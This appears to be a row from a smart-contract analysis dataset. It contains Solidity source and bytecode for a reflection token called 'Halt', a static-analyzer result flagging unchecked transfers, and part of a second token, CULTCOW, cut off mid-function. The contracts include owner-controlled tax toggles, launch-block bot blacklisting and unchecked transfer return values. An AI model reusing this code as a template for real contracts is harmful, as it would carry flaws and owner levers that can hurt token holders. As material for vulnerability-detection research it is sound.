function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) external {
require(!isExcluded[msg.sender], "IS_EXCLUDED");
(uint256 rAmount,,,,) = _getValues(address(0), address(0), tAmount);
_rOwned[msg.sender] -= rAmount;
_rTotal -= rAmount;
_tFeeTotal += tAmount;
}
function reflectionFromToken(address sender, address recipient, uint256 tAmount, bool deductTransferFee) external view returns (uint256) {
require(tAmount <= totalSupply, "AMOUNT_>_SUPPLY");
(uint256 rAmount,uint256 rTransferAmount,,,) = _getValues(sender, recipient, tAmount);
return deductTransferFee ? rTransferAmount : rAmount;
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, "AMOUNT_>_TOTAL_REFLECTIONS");
return rAmount / _getRate();
}
function setSenderTaxed(address account, bool taxed) external isOwner {
// by default, all senders are not taxed
isTaxedAsSender[account] = taxed;
}
function setRecipientTaxed(address account, bool taxed) external isOwner {
// by default, all recipients are not taxed
isTaxedAsRecipient[account] = taxed;
}
function excludeAccountFromRewards(address account) external isOwner {
require(!isExcluded[account], "IS_EXCLUDED");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
isExcluded[account] = true;
_excluded.push(account);
}
function includeAccountFromRewards(address account) external isOwner {
require(isExcluded[account], "IS_INCLUDED");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address account, address spender, uint256 amount) internal {
allowance[account][spender] = amount;
emit Approval(account, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(amount > 0, "INVALID_AMOUNT");
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(sender, recipient, amount);
_rOwned[sender] -= rAmount;
_rOwned[recipient] += rTransferAmount;
if (isExcluded[sender] && !isExcluded[recipient]) {
_tOwned[sender] -= amount;
} else if (!isExcluded[sender] && isExcluded[recipient]) {
_tOwned[recipient] += tTransferAmount;
} else if (isExcluded[sender] && isExcluded[recipient]) {
_tOwned[sender] -= amount;
_tOwned[recipient] += tTransferAmount;
}
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) internal {
_rTotal -= rFee;
_tFeeTotal += tFee;
}
function _getValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) {
(tTransferAmount, tFee) = _getTValues(sender, recipient, tAmount);
(rAmount, rTransferAmount, rFee) = _getRValues(tAmount, tFee, _getRate());
}
function _getTValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 tTransferAmount, uint256 tFee) {
tFee = (block.number != reflectDisabledBlock) && (isTaxedAsSender[sender] || isTaxedAsRecipient[recipient])
? (tAmount * _reflectBasisPoints) / 10_000
: 0;
tTransferAmount = tAmount - tFee;
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) internal pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) {
rAmount = tAmount * currentRate;
rFee = tFee * currentRate;
rTransferAmount = rAmount - rFee;
}
function _getRate() internal view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() internal view returns (uint256 rSupply, uint256 tSupply) {
rSupply = _rTotal;
tSupply = totalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, totalSupply);
rSupply -= _rOwned[_excluded[i]];
tSupply -= _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / totalSupply)) {
(rSupply, tSupply) = (_rTotal, totalSupply);
}
}
function changeOwner(address newOwner) external isOwner {
pendingOwner = newOwner;
}
function acceptOwnership() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function disableReflectionForCurrentBlock() external isOwner {
reflectDisabledBlock = block.number;
}
function resetReflectDisabledBlock() external isOwner {
reflectDisabledBlock = 0;
}
}
interface UniswapRouterV202 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
}
interface UniswapPairV2 {
function balanceOf(address owner) external view returns (uint);
function transfer(address to, uint value) external returns (bool);
}
contract HaltOwnerV1 {
Halt immutable public token;
address public owner;
address public pendingOwner;
UniswapRouterV202 public router;
UniswapPairV2 public pair;
event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);
constructor (address tokenAddress, address routerAddress, address pairAddress) {
owner = msg.sender;
token = Halt(tokenAddress);
router = UniswapRouterV202(routerAddress);
pair = UniswapPairV2(pairAddress);
}
modifier isOwner() {
require(msg.sender == owner, "NOT_OWNER");
_;
}
function changeOwner(address newOwner) external isOwner {
pendingOwner = newOwner;
}
function acceptOwner() external {
require(msg.sender == pendingOwner, "NOT_PENDING_OWNER");
emit OwnershipTransferred(owner, msg.sender);
owner = msg.sender;
pendingOwner = address(0);
}
function changeOwnerOfToken(address newOwner) external isOwner {
token.changeOwner(newOwner);
}
function acceptOwnershipOfToken() external isOwner {
token.acceptOwnership();
}
function setSenderTaxed(address account, bool taxed) external isOwner {
token.setSenderTaxed(account, taxed);
}
function setRecipientTaxed(address account, bool taxed) external isOwner {
token.setRecipientTaxed(account, taxed);
}
function setAccountGetsRewards(address account, bool getsRewards) external isOwner {
getsRewards ? token.includeAccountFromRewards(account) : token.excludeAccountFromRewards(account);
}
function addLiquidityETH(
address tokenAddress,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity) {
require(tokenAddress == address(token), "NOT_TOKEN");
// Turn off tax for this block
token.disableReflectionForCurrentBlock();
// Transfer token from caller to this
token.transferFrom(msg.sender, address(this), amountTokenDesired);
// Approve Router on the amount of token
token.approve(address(router), amountTokenDesired);
// Perform the liquidity add
(amountToken, amountETH, liquidity) = router.addLiquidityETH{value: msg.value}(tokenAddress, amountTokenDesired, amountTokenMin, amountETHMin, to, deadline);
uint256 leftOver = token.balanceOf(address(this));
if (leftOver > 0) {
// Transfer leftover ETH or tokens to the caller
token.transfer(msg.sender, leftOver);
}
leftOver = address(this).balance;
if (leftOver > 0) {
payable(msg.sender).transfer(leftOver);
}
// Turn on tax for this block
token.resetReflectDisabledBlock();
}
function setRouterAndPair(address routerAddress, address pairAddress) external isOwner {
router = UniswapRouterV202(routerAddress);
pair = UniswapPairV2(pairAddress);
}
receive() external payable {}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80638220e8ce116100f9578063b2f3d11c11610097578063dd62ed3e11610071578063dd62ed3e14610447578063de233fee14610472578063e30c397814610485578063eeb396bf146104a557600080fd5b8063b2f3d11c146103fe578063cba0e99614610411578063d724bb4e1461043457600080fd5b806395d89b41116100d357806395d89b4114610389578063a457c2d7146103c5578063a6f9dae1146103d8578063a9059cbb146103eb57600080fd5b80638220e8ce14610329578063830bb90a1461033c5780638da5cb5b1461034457600080fd5b806329b2384211610166578063395093511161014057806339509351146102d85780633e3ac43e146102eb57806370a082311461030e57806379ba50971461032157600080fd5b806329b23842146102a35780632d838119146102ab578063313ce567146102be57600080fd5b806313114a9d116101a257806313114a9d1461025357806318160ddd1461026557806323b872dd1461026d57806325546d381461028057600080fd5b8063053ab182146101c957806306fdde03146101de578063095ea7b314610230575b600080fd5b6101dc6101d7366004611c27565b6104b8565b005b61021a6040518060400160405280600481526020017f48616c740000000000000000000000000000000000000000000000000000000081525081565b6040516102279190611c3f565b60405180910390f35b61024361023e366004611bfe565b6105a9565b6040519015158152602001610227565b6008545b604051908152602001610227565b6102576105c0565b61024361027b366004611b4e565b6105dd565b61024361028e366004611afb565b60036020526000908152604090205460ff1681565b6101dc61063c565b6102576102b9366004611c27565b6106c3565b6102c6600981565b60405160ff9091168152602001610227565b6102436102e6366004611bfe565b610743565b6102436102f9366004611afb565b60046020526000908152604090205460ff1681565b61025761031c366004611afb565b610787565b6101dc610811565b6101dc610337366004611afb565b61090f565b6101dc610c80565b600a546103649073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610227565b61021a6040518060400160405280600481526020017f48414c540000000000000000000000000000000000000000000000000000000081525081565b6102436103d3366004611bfe565b610d08565b6101dc6103e6366004611afb565b610d4c565b6102436103f9366004611bfe565b610e14565b6101dc61040c366004611afb565b610e21565b61024361041f366004611afb565b60056020526000908152604090205460ff1681565b6101dc610442366004611bd5565b61105c565b610257610455366004611b1c565b600260209081526000928352604080842090915290825290205481565b6101dc610480366004611bd5565b611133565b600b546103649073ffffffffffffffffffffffffffffffffffffffff1681565b6102576104b3366004611b89565b61120a565b3360009081526005602052604090205460ff1615610537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f49535f4558434c5544454400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b6000610545600080846112bc565b50503360009081526020819052604081208054949550859490935090915061056e908490611e68565b9250508190555080600760008282546105879190611e68565b9250508190555081600860008282546105a09190611cb0565b90915550505050565b60006105b63384846112f8565b5060015b92915050565b6105cc6009600a611d62565b6105da90633b9aca00611e2b565b81565b60006105ea848484611366565b73ffffffffffffffffffffffffffffffffffffffff841660009081526002602090815260408083203380855292529091205461063291869161062d908690611e68565b6112f8565b5060019392505050565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146106bd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b43600955565b6000600754821115610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f414d4f554e545f3e5f544f54414c5f5245464c454354494f4e53000000000000604482015260640161052e565b6107396116fe565b6105ba9083611cc8565b33600081815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916105b691859061062d908690611cb0565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604081205460ff166107e85773ffffffffffffffffffffffffffffffffffffffff82166000908152602081905260409020546107e3906106c3565b6105ba565b5073ffffffffffffffffffffffffffffffffffffffff1660009081526001602052604090205490565b600b5473ffffffffffffffffffffffffffffffffffffffff163314610892576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f4e4f545f50454e44494e475f4f574e4552000000000000000000000000000000604482015260640161052e565b600a54604051339173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600b80549091169055565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604090205460ff16610a1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f49535f494e434c55444544000000000000000000000000000000000000000000604482015260640161052e565b60005b600654811015610c7c578173ffffffffffffffffffffffffffffffffffffffff1660068281548110610a7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff161415610c6a5760068054610ab590600190611e68565b81548110610aec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000918252602090912001546006805473ffffffffffffffffffffffffffffffffffffffff9092169183908110610b4c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff948516179055918416815260018252604080822082905560059092522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690556006805480610c0e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020902081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001690550190555050565b80610c7481611e7f565b915050610a22565b5050565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610d01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b6000600955565b33600081815260026020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490916105b691859061062d908690611e68565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610dcd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b600b80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60006105b6338484611366565b600a5473ffffffffffffffffffffffffffffffffffffffff163314610ea2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526005602052604090205460ff1615610f32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f49535f4558434c55444544000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff811660009081526020819052604090205415610fb35773ffffffffffffffffffffffffffffffffffffffff8116600090815260208190526040902054610f8c906106c3565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020555b73ffffffffffffffffffffffffffffffffffffffff16600081815260056020526040812080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091556006805491820181559091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146110dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600a5473ffffffffffffffffffffffffffffffffffffffff1633146111b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f4e4f545f4f574e45520000000000000000000000000000000000000000000000604482015260640161052e565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260046020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60006112186009600a611d62565b61122690633b9aca00611e2b565b83111561128f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600f60248201527f414d4f554e545f3e5f535550504c590000000000000000000000000000000000604482015260640161052e565b60008061129d8787876112bc565b50505091509150836112af57816112b1565b805b979650505050505050565b60008060008060006112cf888888611721565b90925090506112e686826112e16116fe565b6117c4565b919a9099509097509195509350915050565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116113d0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f494e56414c49445f414d4f554e54000000000000000000000000000000000000604482015260640161052e565b60008060008060006113e38888886112bc565b94509450945094509450846000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143b9190611e68565b909155505073ffffffffffffffffffffffffffffffffffffffff871660009081526020819052604081208054869290611475908490611cb0565b909155505073ffffffffffffffffffffffffffffffffffffffff881660009081526005602052604090205460ff1680156114d5575073ffffffffffffffffffffffffffffffffffffffff871660009081526005602052604090205460ff16155b1561151a5773ffffffffffffffffffffffffffffffffffffffff88166000908152600160205260408120805488929061150f908490611e68565b909155506116839050565b73ffffffffffffffffffffffffffffffffffffffff881660009081526005602052604090205460ff16158015611575575073ffffffffffffffffffffffffffffffffffffffff871660009081526005602052604090205460ff165b156115af5773ffffffffffffffffffffffffffffffffffffffff87166000908152600160205260408120805484929061150f908490611cb0565b73ffffffffffffffffffffffffffffffffffffffff881660009081526005602052604090205460ff168015611609575073ffffffffffffffffffffffffffffffffffffffff871660009081526005602052604090205460ff165b156116835773ffffffffffffffffffffffffffffffffffffffff881660009081526001602052604081208054889290611643908490611e68565b909155505073ffffffffffffffffffffffffffffffffffffffff87166000908152600160205260408120805484929061167d908490611cb0565b90915550505b61168d83826117f5565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ec91815260200190565b60405180910390a35050505050505050565b600080600061170b611820565b909250905061171a8183611cc8565b9250505090565b600080600954431415801561178a575073ffffffffffffffffffffffffffffffffffffffff851660009081526003602052604090205460ff168061178a575073ffffffffffffffffffffffffffffffffffffffff841660009081526004602052604090205460ff165b6117955760006117ae565b6127106117a4611b5885611e2b565b6117ae9190611cc8565b90506117ba8184611e68565b9150935093915050565b600080806117d28487611e2b565b92506117de8486611e2b565b90506117ea8184611e68565b915093509350939050565b81600760008282546118079190611e68565b9250508190555080600860008282546105a09190611cb0565b60075460006118316009600a611d62565b61183f90633b9aca00611e2b565b905060005b600654811015611a6c57826000806006848154811061188c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205411806119385750816001600060068481548110611904577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054115b156119635760075461194c6009600a611d62565b61195a90633b9aca00611e2b565b92509250509091565b600080600683815481106119a0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff1683528201929092526040019020546119dc9084611e68565b92506001600060068381548110611a1c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff168352820192909252604001902054611a589083611e68565b915080611a6481611e7f565b915050611844565b50611a796009600a611d62565b611a8790633b9aca00611e2b565b600754611a949190611cc8565b821015611abe57600754611aaa6009600a611d62565b611ab890633b9aca00611e2b565b90925090505b9091565b803573ffffffffffffffffffffffffffffffffffffffff81168114611ae657600080fd5b919050565b80358015158114611ae657600080fd5b600060208284031215611b0c578081fd5b611b1582611ac2565b9392505050565b60008060408385031215611b2e578081fd5b611b3783611ac2565b9150611b4560208401611ac2565b90509250929050565b600080600060608486031215611b62578081fd5b611b6b84611ac2565b9250611b7960208501611ac2565b9150604084013590509250925092565b60008060008060808587031215611b9e578081fd5b611ba785611ac2565b9350611bb560208601611ac2565b925060408501359150611bca60608601611aeb565b905092959194509250565b60008060408385031215611be7578182fd5b611bf083611ac2565b9150611b4560208401611aeb565b60008060408385031215611c10578182fd5b611c1983611ac2565b946020939093013593505050565b600060208284031215611c38578081fd5b5035919050565b6000602080835283518082850152825b81811015611c6b57858101830151858201604001528201611c4f565b81811115611c7c5783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60008219821115611cc357611cc3611eb8565b500190565b600082611cfc577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b600181815b80851115611d5a57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115611d4057611d40611eb8565b80851615611d4d57918102915b93841c9390800290611d06565b509250929050565b6000611b1560ff841683600082611d7b575060016105ba565b81611d88575060006105ba565b8160018114611d9e5760028114611da857611dc4565b60019150506105ba565b60ff841115611db957611db9611eb8565b50506001821b6105ba565b5060208310610133831016604e8410600b8410161715611de7575081810a6105ba565b611df18383611d01565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115611e2357611e23611eb8565b029392505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e6357611e63611eb8565b500290565b600082821015611e7a57611e7a611eb8565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611eb157611eb1611eb8565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212208e1266cefab3e496b917e4f1be7e24915453d9a5888ef72024a046e5f80a0ddf64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,866 |
0x98daee998823bee0136e5da8dac7f93ea55085c7
|
// SPDX-License-Identifier: Unlicensed
// Telegram: https://t.me/cultcow
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract CULTCOW is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "CULTCOW";
string private constant _symbol = "CULTCOW";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from]);
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen);
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(6);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
